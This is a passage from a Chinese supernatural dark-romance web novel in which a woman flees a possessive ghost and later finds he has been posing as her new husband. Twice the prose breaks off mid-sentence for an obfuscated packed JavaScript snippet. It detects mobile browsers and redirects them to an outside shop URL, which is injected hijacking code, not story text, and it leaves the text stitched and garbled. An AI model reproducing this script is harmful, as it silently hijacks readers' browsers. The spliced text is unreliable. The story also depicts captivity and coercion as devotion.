就在这时,门外突然传来脚步声,燕桐心里一紧,以为是骆池咒回来了,连忙把水果刀藏在身后,假装整理衣服。门被推开,进来的却是管家,他手里端着一杯牛奶:“夫人,先生吩咐,让您睡前喝杯牛奶。” 燕桐松了口气,接过牛奶,小声说了句“谢谢”。管家没多停留,放下牛奶就走了,临走前还特意看了一眼房间里的情况,确认没有异常才关上门。 燕桐把牛奶放在一边,没喝。她知道,骆池咒的东西不能碰,谁知道里面有没有问题。她再次走到窗边,看着外面的佣人换班,当看到两个佣人交接、门口空无一人的时候,她立刻打开房门,快步朝着后院跑去。 “夫人,您去哪里?”跟着她的佣人发现了,立刻追了上来,大声呼喊。 燕桐不敢回头,拼尽全力往前跑,耳边全是自己的脚步声和佣人的呼喊声。她跑到后院的老槐树下,手脚并用地往上爬,树干很粗,布满了纹路,划破了她的手掌和膝盖,她却感觉不到疼,只想快点爬出去。 就在她快要爬到围墙顶端的时候,一只冰冷的手突然抓住了她的脚踝,力道大得几乎要捏碎她的骨头。燕桐吓得尖叫一声,低头一看,骆池咒正站在树下,脸上依旧挂着温和的笑容,眼底却没有一丝温度。 “姐姐,你要去哪里啊?”他的声音很轻,却带着刺骨的寒意,“我不是让你乖乖在家等我吗?” 燕桐浑身发抖,挣扎着想要挣脱他的手:“放开我!骆池咒,我受够了。” 骆池咒笑了笑,手上的力道又重了些,“姐姐,我说过,你跑一步,我就对慕司多下手一分,你忘了吗?” “你敢!”燕桐急红了眼,看着骆池咒那张虚伪的笑脸,积压已久的恐惧和愤怒一下子爆发出来,“骆池咒,你这个疯子!我告诉你,我就算死,也不会留在你身边!” 她说着,猛地从袖口抽出水果刀,没有丝毫犹豫,朝着骆池咒抓着她脚踝的手刺了下去。刀刃不算锋利,却也硬生生划破了他的皮肤,红色的血液顺着伤口流出来,散发着淡淡的阴冷气息——他是鬼,血液也带着刺骨的寒意。 骆池咒显然没料到燕桐会动手,眼神瞬间冷了下来,手上的力道却莫名松了。燕桐抓住机会,猛地挣脱他的手,用尽最后一丝力气爬上围墙,翻身跳了下去。 围墙不高,她跳下去的时候摔在了地上,膝盖和胳膊都擦破了皮,疼得她龇牙咧嘴,但她不敢停留,立刻爬起来,朝着庄园外的小路跑去。她不敢回头,生怕骆池咒追上来,耳边只有风声和自己急促的呼吸声。 她跑了很久,直到再也看不到庄园的影子,才停下来,扶着一棵树大口喘气。她低头看了看手里的水果刀,上面还沾着骆池咒黑色的血液,心里一阵后怕,却又有着一丝解脱——她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没敢细说骆池咒的事,只说自己被一个疯子囚禁了,好不容易才逃出来,那个疯子很危险,一定会来找她。 父母听了,吓得脸色惨白。母亲紧紧抱着她:“那怎么办?我们报警吧?” “不能报警。”燕桐连忙摇头,“那个疯子很有势力,买通了很多人,报警也没用,反而会激怒他,他会伤害我们的。”她知道骆池咒的手段,报警只会让事情更糟。 父亲皱了皱眉,沉思片刻:“那我们搬家,立刻搬家,找一个没人认识我们的地方,彻底隐姓埋名,这样他就找不到我们了。” 燕桐点点头,这是目前唯一的办法:“好,我们现在就收拾东西,越快越好。” 一家三口不敢耽搁,立刻动手收拾东西。他们没带太多东西,只带了一些必要的衣物和钱财,还有一些重要的证件。收拾好东西后,父亲联系了一辆长途货车,趁着天还没完全亮,悄悄离开了小镇,没有告诉任何亲戚朋友。 他们坐了整整一天一夜的车,找了一间偏僻的出租屋,先暂时住了下来。为了不被骆池咒找到,他们改了名字,燕桐改名叫燕晓,父母也改了名字,平日里很少出门,就算出门,也会戴帽子和口罩,尽量不引起别人的注意。 刚开始的几天,燕桐一直心神不宁,每天都躲在出租屋里,不敢出门,生怕骆池咒会找过来。父母看着她这个样子,很是心疼,却也没有办法,只能陪着她,安慰她。 过了一段时间,燕桐发现,并没有人来找他们,心里稍微安定了些。她知道,不能一直这样躲着,她要找一份工作,帮父母分担压力,也让自己的生活慢慢回归正常。 她在小城的一家超市找了份收银员的工作,工作不算累,工资也不算高,但足够维持一家三口的基本生活。她每天按时上下班,穿着普通的衣服,说话轻声细语,和其他普通的收银员没什么两样。 她刻意隐藏自己的过去,从不和同事谈论自己的家庭和以前的事,同事们都觉得她是个老实、内向的姑娘,对她都很友善。 日子一天天过去,燕桐渐渐放下了心里的恐惧,生活也慢慢回归了正轨。她每天上班、下班,回家和父母一起吃饭、聊天,虽然平淡,却很安稳。 她偶尔还是会想起骆池咒,想起那个可怕的庄园,想起慕司,心里会一阵发慌,但她很快就会强迫自己冷静下来——她已经逃出来了,已经和父母安全了,她不能再被过去的阴影困住。 她以为,这样平静的日子会一直持续下去,她以为,自己再也不会遇到骆池咒,再也不会提起过去的事。 后来她的半年里她再也没见过骆池咒的身影,就好像他彻底人间蒸发了一样。 慕司不知道从哪里打听到她们家人的位置,竟然找了过来。 他说他这半年查燕桐假死的事,却意外查出了自己的真实身世,关于骆池咒的一切他都知道了。 燕桐对他所查到的事也并不惊奇,毕竟天下没有不透风的墙,但如今她和父母的生活已经恢复了平静,燕桐也不再想去理会那些事了。 后来又是半年,慕司也在燕桐附近找了个工作,不论燕桐怎么驱赶他,他始终陪在燕桐身边。 后来燕桐也习惯了他的存在,甚至在父母的催促下,认真的考虑和他结婚。 骆池咒对燕桐的影响很大,她已经没有过多的心力去认识新的人了,与其和一个陌生人相亲,不如考虑知根知底的慕司。 27. 第 27 章 燕桐最终点了头,答应和慕司结婚的时候,窗外正飘着细碎的雪花,落在出租屋的玻璃上,晕开一片朦胧的白。 她看着身边一脸欣喜的慕司,眉眼温和,笑容干净,和记忆里那个总是带着怯懦、却始终执着找她的少年渐渐重合,可心底深处,那一丝挥之不去的疏离感,却从未消散。 她知道,自己对慕司没有爱情,有的只是一份感激,一份对“安稳”的渴求,还有父母日复一日的催促带来的妥协。 父母得知她答应结婚的消息,几乎喜极而泣。 母亲拉着她的手,一遍遍念叨着“终于有依靠了”“以后再也不用怕了”,父亲也难得露出笑容,拍着慕司的肩膀,郑重地托付:“桐桐这孩子,前几年受了太多苦,以后就拜托你了,一定要好好待她。” 慕司恭敬地应着,眼神温柔地落在燕桐身上,轻声说:“叔叔阿姨放心,我一定会的,我会用一辈子护着桐桐。” 那一刻,燕桐有过一丝恍惚,或许,就这样安稳地过一辈子,也挺好。 骆池咒已经消失了一年多,没有踪迹,没有打扰,就像从未出现过一样。 或许他真的放弃了,或许他已经彻底从这个世界上消失了。她太累了,累到再也不想去挣扎,累到只想抓住眼前这一点点看似真实的温暖,哪怕这份温暖,并不是她心底真正想要的。 婚礼办得极其简单,没有宾客,没有婚纱礼服,只有一家三口和慕司。 他们找了一个小小的饭馆,点了一桌简单的饭菜,对着父母的期盼,对着彼此,说了一句简单的“我愿意”。 红烛摇曳,映着慕司温柔的眉眼,他给她夹菜,给她倒温水,动作自然又体贴,连眼神里的温柔,都像是刻在骨子里的。可燕桐看着他,却总觉得哪里不对劲,就像隔着一层薄薄的雾,看不清他眼底真正的情绪。 她告诉自己,是过去的阴影太深,是骆池咒留下的恐惧太刻骨铭心,才让她对眼前的一切都带着警惕和怀疑。她试着去放下戒备,试着去适应和慕司的相处,试着去接受这份被安排的、平静的婚姻。 婚后,他们租了一间比之前大一点的出租屋,离父母的住处不远,走路十几分钟就能到。慕司找了一份建材市场的会计工作,每天按时上下班,从不迟到早退。 他很体贴,每天早上会提前起床,给她做早餐,都是她爱吃的口味;晚上她下班回家,总能看到桌上摆着温热的饭菜,出租屋里收拾得一尘不染,连她随手放在沙发上的外套,都会被他叠得整整齐齐,放在衣柜里合适的位置。 他记得她不吃香菜,哪怕是外面买的饭菜,也会仔细把香菜挑干净;他记得她怕黑,晚上起夜,总会提前把走廊的灯打开;他记得她来生理期时会肚子疼,会提前准备好红糖姜茶,会用温热的手掌给她揉肚子;他甚至记得她小时候喜欢吃的那种水果糖,偶尔会从口袋里摸出一颗,放在她手里,笑着说:“看到这个,就想起你小时候。” 父母常常过来吃饭,看着慕司对燕桐无微不至的照顾,脸上的笑容越来越多,也越来越放心。他们总说,燕桐能遇到慕司,是上辈子修来的福气,以后再也不用受委屈了。 燕桐听着,也只能笑着点头,可心里的那一丝违和感,却随着日子一天天过去,越来越强烈。 起初,只是一些微不足道的小细节。比如,慕司以前从不喝温水,不管春夏秋冬,都喜欢喝冰饮,哪怕是生理期,也会抱着冰可乐喝个不停,燕桐还曾劝过他,说喝太多冰的对身体不好,可他总是笑着说,习惯了。 可婚后,他却再也没有喝过一口冰饮,每天都会倒一杯温水放在她手边,温度不冷不热,刚好是她习惯的度数,甚至连她喝水的杯子,都是她最喜欢的款式,和当年在庄园里,骆池咒给她用的杯子,一模一样。 再比如,以前的慕司,吃饭很快,狼吞虎咽,像是很久没吃过东西一样,而且不挑食,什么都吃,每次都能吃满满一大碗。 可婚后的慕司,进食很慢,细嚼慢咽,嘴角总带着一丝淡淡的笑意,那笑容很温和,却让燕桐莫名想起骆池咒攥着那个玻璃小红花时的模样——温柔之下,藏着一丝不易察觉的偏执和占有。 而且,他开始变得挑食,不吃青椒,不吃芹菜,不吃一切带辛辣味的食物,而这些,都是骆池咒不喜欢吃的。 还有他的眼神。以前的慕司,眼神干净又怯懦,看她的时候,总是带着一丝羞涩和小心翼翼,不敢直视她的眼睛,哪怕是说话,也会微微低着头。 可婚后的慕司,看她的眼神,越来越不对劲。 有时候,他会静静地看着她,眼神温柔,可恍惚间,那温柔就会褪去,取而代之的是一种偏执的灼热,像毒蛇缠绕着猎物,紧紧锁住她,让她浑身发僵,心底发凉。 那种眼神,燕桐太熟悉了,是骆池咒的眼神,是那个囚禁了她、偏执地想要将她据为己有的男人的眼神。 每次出现这种情况,燕桐都会刻意避开他的目光,假装去做别的事情,心里却泛起一阵恐慌。她告诉自己,是她太敏感了,是过去的创伤让她草木皆兵,慕司怎么可能是骆池咒? 他们是两个人,眉眼不同,性格不同,经历不同,怎么可能是同一个人?可越是这样自我安慰,心底的疑虑就越重,那些细微的反常,像一根细小的针,时不时扎她一下,提醒着她,一切或许并没有那么简单。 她开始刻意观察慕司的一举一动,试图找到反驳自己猜想的证据,可每一次观察,都只会让她的疑虑更加加深。 慕司的手指很长,指节分明,左手的食指上,有一道细微的疤痕,不仔细看根本发现不了。燕桐偶然间看到那道疤痕的时候,心脏猛地一缩——她记得,当年骆池咒给她削苹果的时候,不小心被水果刀划破了手指,伤口的位置,和慕司食指上的疤痕,一模一样。 她当时还问过骆池咒疼不疼,骆池咒只是笑着说,不疼,只要能给姐姐削苹果,一点都不疼。 还有他的习惯。以前的慕司,睡觉的时候喜欢翻身,而且会打轻微的呼噜,燕桐以前和他一起待过一段时间,对此印象很深。 可婚后的慕司,睡觉的时候异常安静,从不翻身,也从不打呼噜,甚至连呼吸都轻得几乎没有。有好几次,燕桐夜里醒来,看着身边熟睡的他,都忍不住伸手去探他的鼻息,担心他出什么事,可每次都只能感受到一丝微弱的、带着刺骨寒意的气息,那气息,和当年在庄园里,骆池咒身上的气息,一模一样。 骆池咒是鬼,本就不需要呼吸,本就没有体温,浑身都带着刺骨的阴冷。而慕司,虽然平日里看起来和正常人没什么两样,可每次他握住她的手,她都能感受到指尖传来的冰凉,那种冰凉,不是正常人该有的温度,是深入骨髓的冷,是让她从心底里发寒的冷。 还有他对某些东西的反应。有一次,燕桐在收拾旧物的时候,翻出了一个小小的风筝,那是当年在庄园里,骆池咒放在桌上的那个风筝,她逃跑的时候,偷偷带了出来,一直藏在箱子底下,不敢拿出来看。 那天她不小心把风筝掉在了地上,慕司看到的时候,脸上的笑容瞬间僵住了,眼神也变得阴沉起来,那种阴沉,是燕桐从未在真正的慕司脸上见过的,却和骆池咒看到不顺心的事情时的眼神,如出一辙。 “这是什么?”慕司走过来,弯腰捡起风筝,声音平淡,却带着一丝不易察觉的压迫感。燕桐的心一下子提到了嗓子眼,连忙说:“没什么,就是一个旧风筝,以前捡的,不小心掉出来了。”慕司看了她一眼,眼神复杂,有偏执,有占有,还有一丝她看不懂的温柔,他轻轻摸了摸风筝的线轴,轻声说:“扔了吧,留着没用,看着心烦。” 那一刻,燕桐的心里一片冰凉。她知道,真正的慕司,从来不会对这样一个小小的风筝有这样的反应,只有骆池咒,才会因为这个风筝,露出这样的神情——这个风筝,是他当年放在她身边的,是他偏执占有欲的象征之一。 她开始变得越来越恐慌,夜里常常失眠,只要一闭上眼睛,就会想起骆池咒的脸,想起他偏执的笑容,想起他说过的话:“姐姐,你逃不掉的,你永远都是我的。” 她开始不敢和慕司独处,不敢看他的眼睛,甚至不敢让他碰自己。每次慕司想要抱她,想要牵她的手,她都会找借口躲开,心里的恐惧,像潮水一样,一次次将她淹没。 慕司似乎察觉到了她的疏离和恐惧,却没有追问,只是依旧对她体贴入微,依旧每天给她做早餐、倒温水,依旧陪着她去看父母,依旧在她失眠的时候,静静地坐在她身边,不说话,只是看着她。 可他越是这样,燕桐就越害怕,她总觉得,这一切都是一场骗局,一场精心编织的、针对她的骗局。 她开始偷偷打听慕司的消息,想要确认眼前的这个慕司,到底是不是真正的慕司。她想起慕司曾经说过,他有一个从小一起长大的朋友,住在另一个城市,她按照慕司曾经说过的地址,偷偷给那个朋友寄了一封信,询问慕司的情况,可信寄出去之后,就石沉大海,没有任何回音。 她又试着给以前认识慕司的人打电话,可那些人,要么说很久没有联系过慕司了,要么说不知道慕司的下落,还有的人,语气含糊,似乎有什么难言之隐。燕桐心里清楚,这一定是骆池咒搞的鬼,他一定是封锁了所有关于慕司的消息,让她无法确认眼前的人的身份。 日子一天天过去,燕桐的精神越来越差,脸色也越来越苍白,常常一个人发呆,眼神恍惚,有时候甚至会出现幻觉,觉得身边的慕司,下一秒就会变成骆池咒的模样,对着她露出偏执的笑容。父母看出了她的不对劲,问她怎么了,她不敢说实话,只能说自己身体不舒服,没什么大碍。 她怕父母担心,更怕父母知道真相后,会受到伤害——骆池咒那么偏执,一旦知道她怀疑他,不知道会做出什么可怕的事情来。 婚后第二个月的一天,燕桐休息在家,趁着慕司去上班,她决定好好整理一下衣柜,把自己和慕司的衣服分开整理,也想趁机再找找,有没有什么能证明慕司身份的证据。衣柜很大,分成了两个部分,一边是她的衣服,一边是慕司的衣服。她先整理自己的衣服,叠得整整齐齐,放进衣柜里,然后再整理慕司的衣服。 慕司的衣服不多,都是一些简单的衬衫和裤子,款式普通,颜色也大多是黑色、白色和灰色,和他平日里的气质很搭。燕桐一件一件地叠着,心里的疑虑越来越重,她总觉得,这些衣服的风格,更像是骆池咒会穿的风格,而不是慕司。慕司以前喜欢穿亮色的衣服,喜欢穿运动装,而不是这样沉稳、单调的款式。 就在她叠到一件黑色的衬衫时,指尖无意间触碰到了衬衫的袖口,感觉到了一丝粗糙的触感。她皱了皱眉,仔细看了看,发现衬衫的袖口,有一道细微的疤痕,像是被什么尖锐的东西划破后,又粗略缝补过的。那道疤痕很长,大概有两厘米左右,位置就在袖口的内侧,不仔细看,根本发现不了。 燕桐的心脏猛地一缩,浑身的血液仿佛都凝固了。她记得,当年她从围墙上跳下去的时候,用水果刀刺过骆池咒的手,那道伤口很深,很长,位置就在他的左手手腕附近,而这件衬衫的袖口疤痕,刚好对应着那个伤口的位置——因为穿着衬衫,袖口会遮住手腕,所以伤口划破了袖口,留下了这样的疤痕。 她颤抖着伸出手,指尖轻轻抚过那道疤痕,布料下的触感,带着一丝熟悉的冰凉,不是布料本身的冰凉,而是透过布料,传来的、属于慕司皮肤的冰凉。 那种冰凉,和当年她刺中骆池咒的手时,感受到的冰凉,一模一样。 那一刻,所有的侥幸和自我安慰,都瞬间崩塌。她想起了婚后的点点滴滴,想起了慕司所有的反常,想起了他的眼神、他的习惯、他的喜好,想起了他身上那熟悉的阴冷气息,想起了他对风筝的反应,想起了他手指上的疤痕,所有的一切,都串联在了一起。 指向了一个让她无比恐惧的答案——眼前的这个慕司,根本就不是真正的慕司,他是骆池咒,是那个囚禁了她、偏执地想要将她据为己有的男人。 她想起了慕司总能精准地说出她所有的习惯,哪怕是她自己都快要忘记的小偏好;想起了他从不允许她靠近以前的小镇,也从不允许她提起庄园的任何事,甚至不允许她和以前认识的人联系; 想起了他偶尔会在夜里醒来,静静地看着她,眼神里的偏执,根本不是慕司会有的模样;想起了他每次做饭,都会做一道她小时候爱吃的甜汤,那味道,和当年骆池咒在庄园里让厨房做的,一模一样; 想起了他握住她的手时,指尖传来的刺骨冰凉;想起了他看到风筝时,脸上阴沉的神情。 所有的细节,所有的反常,都在告诉她,眼前的人,就是骆池咒。他伪装成慕司的模样,陪在她身边,看着她,守护着她,甚至和她结婚,这一切,都是他精心策划的一场骗局。 而她,像一个傻子一样,被他蒙在鼓里,以为自己逃出来了,以为自己获得了自由,以为自己找到了安稳的生活,可实际上,她从来都没有逃出去过,她一直都在骆池咒的掌控之中,一直都被困在他精心编织的牢笼里。 燕桐的腿一软,踉跄着后退了几步,后背重重地撞在衣柜上,发出一声轻响,手里的衬衫掉在了地上。她浑身发抖,牙齿打颤,眼泪瞬间模糊了视线,心脏像是被一只无形的手紧紧攥住,疼得她几乎喘不过气来。 绝望,像潮水一样,将她彻底淹没,让她无法呼吸。 她想起了自己逃跑时的狼狈,想起了自己为了躲避骆池咒所做的一切,想起了父母为了保护她,放弃了家乡,隐姓埋名,过着小心翼翼的生活,想起了自己对慕司的信任,想起了自己答应结婚时的妥协和期盼。 可这一切,都成了一个笑话,一个被骆池咒玩弄于股掌之间的笑话。 他到底是怎么做到的?他怎么能伪装得这么像?他怎么能模仿慕司的言行举止、眼神习惯,甚至模仿他的声音,模仿他的一切,让她和父母都没有察觉?他到底策划了多久?从她跳围墙逃跑的那一刻起,他就已经开始策划这一切了吗? 无数个问题,在她的脑海里盘旋,让她头痛欲裂。她蹲在地上,双手抱住膝盖,失声痛哭起来。她的哭声压抑而绝望,充满了不甘和恐惧。 她以为自己逃出来了,以为自己终于摆脱了骆池咒的掌控,可没想到,她只是从一个牢笼,走进了另一个更大、更隐蔽的牢笼。 不知道哭了多久,她听到了开门的声音,是慕司下班回来了。燕桐的身体猛地一僵,连忙擦干脸上的眼泪,站起身,假装平静地整理衣柜,可她的手,依旧在不停地发抖,心跳得飞快,几乎要跳出胸膛。 “桐桐,我回来了。”慕司的声音传来,依旧是温和的,带着一丝疲惫,和平时没什么两样。 他走进卧室,看到燕桐站在衣柜前,脸色苍白,眼神恍惚,脸上还有未干的泪痕,皱了皱眉,快步走过去,关切地问:“怎么了?是不是哪里不舒服?还是发生什么事了?” 看着那张熟悉的脸,眉眼温和,笑容关切,可燕桐却觉得无比陌生,无比可怕。她能清晰地感受到,他周身传来的阴冷气息,能清晰地看到,他眼底深处,那一丝不易察觉的偏执和占有。她再也无法伪装下去,再也无法强迫自己去相信,眼前的这个人,是慕司。 她猛地后退一步,避开他伸过来的手,眼神里充满了恐惧和厌恶,声音颤抖得几乎不成样子:“别碰我!” 慕司脸上的笑容,有一瞬间的僵硬,快得让人几乎捕捉不到。但就是这一瞬间的僵硬,彻底印证了燕桐的猜想。 他停下脚步,看着她,眼神里的关切渐渐褪去,取而代之的是一种复杂的情绪,有偏执,有心疼,还有一丝不易察觉的笑意,那笑意,是骆池咒独有的,带着一丝玩味,带着一丝掌控一切的得意。 “姐姐,”他开口,声音不再是慕司的温和,而是带着一丝熟悉的、轻佻又偏执的语调,那是燕桐刻在骨子里的、恐惧的声音,那是骆池咒的声音,“你终于发现了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539810|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一句话,像一道惊雷,在燕桐的脑海里炸开。她浑身发抖,踉跄着后退,后背紧紧贴在冰冷的墙壁上,眼泪再次汹涌而出,模糊了视线。 她看着眼前的人,看着他脸上那熟悉的、偏执的笑容,看着他眼底那满满的占有欲,终于再也忍不住,哭着质问:“是你……真的是你……骆池咒……你怎么会……你怎么能伪装成慕司?你到底想怎么样?” 骆池咒笑了,笑得温和,却带着刺骨的寒意。他伸出手,缓缓褪去了脸上的伪装——那是一层薄薄的易容,质地轻薄,贴在脸上,几乎看不出来。随着易容一点点被褪去,那张熟悉的、带着偏执笑意的脸,出现在燕桐面前。眉眼锋利,轮廓深邃,眼神里没有丝毫愧疚,只有满满的占有欲,像潮水一样,将燕桐紧紧包裹,让她无法呼吸。 就是这张脸,让她日夜恐惧;就是这张脸,囚禁了她,折磨了她;就是这张脸,让她逃离了一次,却又陷入了更深的牢笼。看着这张脸,燕桐的身体抖得更厉害了,她甚至觉得,自己快要窒息了。 “我怎么会?”骆池咒一步步逼近她,周身的阴冷气息,瞬间笼罩了整个房间,让房间里的温度都下降了好几度。他的脚步很慢,每一步,都像是踩在燕桐的心上,让她无比恐惧。 “姐姐,你真的以为,你能逃得掉吗?从你拿起那把水果刀,刺向我的那一刻起,你就再也逃不出我的手掌心了。” “你……你伪装成慕司……多久了?”燕桐的声音颤抖得几乎不成样子,牙齿打颤,连话都说不完整,“当年……当年我是不是根本就没逃出去?我所做的一切,我所经历的一切,是不是都是你精心策划的骗局?” “聪明。”骆池咒停下脚步,看着她狼狈的模样,眼底闪过一丝心疼,却又带着一丝偏执的满足。 他伸出手,想要擦去她脸上的眼泪,燕桐猛地躲开,眼神里充满了厌恶和恐惧,像是在看一个怪物。骆池咒的手僵在半空,笑容淡了些,却依旧温和。 “从你跳围墙的那一刻起,一切都在我的计划里。你以为你逃回了家,以为你改了名字,换了地方,就能摆脱我?你太天真了,姐姐。” 他缓缓开口,语气平淡,却字字诛心,将所有的真相,一点点揭开,像一把锋利的刀,一点点割开燕桐的伤口,让她痛不欲生。 “当年,我故意放你走。” 骆池咒的声音很轻,却带着不容置疑的掌控力。 “我故意留下那把水果刀,故意错开佣人换班的时间,故意让你以为,你找到了逃跑的机会,故意让你成功地跳围墙逃出去。 我太了解你了,姐姐,你老实、胆小,逃出去后,第一时间一定会回家,一定会想办法带着父母藏起来,一定会找一个偏僻的地方,隐姓埋名,过安稳的生活。而我,只要悄悄跟着你,就能知道你的一举一动,就能一直陪着你,不被你发现。” “至于慕司……”骆池咒嗤笑一声,语气里带着一丝不屑,还有一丝狠厉,“他早就被我困住了。在你逃跑之后,我就找到了他,把他关了起来,关在一个没有人能找到的地方。他不是喜欢找你吗?不是喜欢破坏我的计划吗?我就让他永远都见不到你,就让他在绝望中,看着我陪着你,看着我和你结婚,看着我拥有你所拥有的一切。” “我查了他的一切,他的生辰八字,他的言行举止,他的眼神习惯,他的声音,他的喜好,他的缺点,甚至他小时候的事情,我都查得一清二楚。” 骆池咒的眼神里,闪过一丝偏执的疯狂,“我模仿他的声音,模仿他的走路姿势,模仿他的笑容,模仿他的一切,甚至在脸上贴了易容,把自己变成了他的模样。 我花了整整半年的时间,才把自己伪装得和他一模一样,才敢出现在你面前,才敢一点点靠近你。” “我知道,你对慕司没有爱情,你只是感激他,只是习惯了他的陪伴,只是在父母的催促下,才愿意和他结婚。” 骆池咒看着她,眼神里带着一丝温柔,还有一丝偏执的占有,“没关系,姐姐,我不在乎。我不在乎你是不是爱我,我不在乎你是不是把我当成慕司,我只要能陪在你身边,只要能拥有你,只要能让你完完全全属于我,就够了。” “你不是不想再认识新人吗?不是觉得慕司知根知底吗?”骆池咒一步步逼近她,声音轻柔,却带着刺骨的寒意,“那我就变成慕司,满足你所有的‘要求’。 我陪在你身边,对你体贴入微,对你好,照顾你,照顾你的父母,给你想要的平静和安稳,让你放下戒心,让你习惯我的存在,让你再也离不开我。” “你为什么要这样?”燕桐哭着质问,心底的绝望,像潮水一样将她淹没,她几乎要崩溃了。 “我已经妥协了,我已经试着过正常人的生活了,我已经不想再和你有任何牵扯了,你为什么还要纠缠我?你到底想怎么样?你把慕司放了,你放我走,好不好?” “放你走?”骆池咒笑了,笑得偏执,笑得疯狂,“姐姐,你觉得,我会放你走吗?从看到你的第一眼起,我就知道,你必须是我的。 我为你做了这么多,我策划了这么久,我伪装成慕司,陪在你身边,和你结婚,就是为了能永远拥有你,你怎么能想着走呢?” 他伸出手,不顾燕桐的反抗,紧紧握住了她的手。指尖的冰凉,顺着她的皮肤,蔓延到心底,让她浑身发僵,浑身发冷。 “我对别人狠,对你不会。”骆池咒的声音很轻柔,带着一丝恳求,还有一丝不容拒绝的偏执。 “姐姐,别再想着逃跑了,也别再想着慕司了。 从今往后,陪在你身边的,只会是我。你想要的平静,我给你;你想要的安稳,我给你;你想要的一切,我都给你。只要你乖乖留在我身边,我就不会伤害你,也不会伤害你的父母,更不会再为难慕司。” “你骗人!”燕桐用力挣扎,想要挣脱他的手,眼泪掉得更凶了,“你就是个骗子,你所有的温柔,所有的体贴,都是假的,都是你精心伪装的骗局!你囚禁我,欺骗我,玩弄我的感情,你就是个疯子!我就算死,也不会留在你身边!” “疯子?”骆池咒笑了,眼底的偏执愈发浓烈。 “或许吧,为了你,我愿意做一个疯子。姐姐,我只是不想失去你,我只是想陪着你,有错吗?当年,爸妈偏疼慕司,把我视为异类,把我抛弃,我没有家,没有亲人,只有你,只有你能让我感受到一丝温暖,只有你能让我觉得,我不是一个人。我不能失去你,绝对不能。” 他的声音里,带着一丝不易察觉的委屈和脆弱,那是燕桐从未见过的模样。 可燕桐看着他,心里没有丝毫同情,只有满满的恐惧和厌恶。她知道,骆池咒的偏执,已经深入骨髓,他的爱,是疯狂的,是偏执的,是带着毁灭性质的,他所谓的“陪伴”,不过是另一种形式的囚禁,他所谓的“温柔”,不过是他欺骗她的手段。 “你所谓的爱,太可怕了。”燕桐的声音很轻,却带着一丝决绝,“骆池咒,我受够了,我真的受够了。你放过我,也放过你自己,好不好?” “放过你?”骆池咒摇了摇头,笑容依旧温和,却带着不容拒绝的偏执,“不可能,姐姐。除非我死,否则,我绝不会放过你。 你是我的,这辈子是,下辈子是,永远都是。” 他轻轻将她拥入怀中,力道不大,却带着不容挣脱的禁锢。 他的下巴抵在她的发顶,声音轻柔,却带着刺骨的寒意,“姐姐,别再挣扎了,也别再哭闹了。你逃不掉的,你永远都逃不掉我的手掌心。 我会一直陪着你,一直照顾你,直到你心甘情愿地留在我身边,直到你爱上我为止。” 燕桐靠在他的怀里,浑身僵硬,没有挣扎,也没有哭闹。 眼泪无声地滑落,浸湿了他的衬衫。她知道,这一次,她是真的逃不掉了。骆池咒的执念,像一张无形的网,紧紧缠绕着她,从她遇见他的那一刻起,就早已注定,她的一生,都将被他的执念裹挟,永无宁日。